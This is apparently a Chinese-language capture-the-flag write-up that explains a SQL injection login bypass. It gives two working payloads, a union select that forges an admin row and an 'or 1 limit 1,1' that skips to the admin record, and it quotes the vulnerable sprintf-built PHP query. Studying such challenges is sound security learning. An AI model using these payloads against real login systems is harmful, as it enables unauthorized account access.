先上payload, 再说原理
1、
Username:\' union select 1,1,1,1#
Password:a
2、
Username:\' or 1 limit1,1#
Password:a
下面是分析讲解:
首先,点击Source Code按钮查看源代码
可以得到以下信息:
1、过滤了单引号,可以用\'来绕过滤
2、user表中四个列:id,user,pass,is_admin
3、SQL语句:
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'", $_POST['name'], $_POST['password']);
4、Password不能为空
一、Payload1分析:
我们的目的是以admin身份登录,那么服务器如何来判断我们是不是admin呢?
拉到最后来看:
可以看到,最重要的是就是is_admin这个字段,所以我们来进行变量覆盖注入(我自己取的名字、、请大佬指正)
padload提交后,提交的SQL语句是:
SELECT * FROM 'user' WHERE 'user' = '' union select 1,1,1,1 # AND `password` = 'a';
执行的是:
SELECT 1,1,1,1 FROM ’user‘;
那我们得到了一个$user的实例,其中最关键的就是第4个变量值是1
二、Payload2分析:
第二种其实也是老套路,我管他叫“限制查询注入”(自己取的名字、、请大佬指正)
首先构造Payload:
Username:\' or 1#
Password:a
这句话提交上去相当于:
SELECT * FROM 'user' WHERE 1
显然,我们会得到整个user表。
但是只有整张表的第一个会被验证,所以这个payload提交上去发现我们不是管理员而是guest,猜想admin应该是在下一条数据
所以我们让offset=1,构造payload:
Username:\' or 1 limit 1,1#
Password:a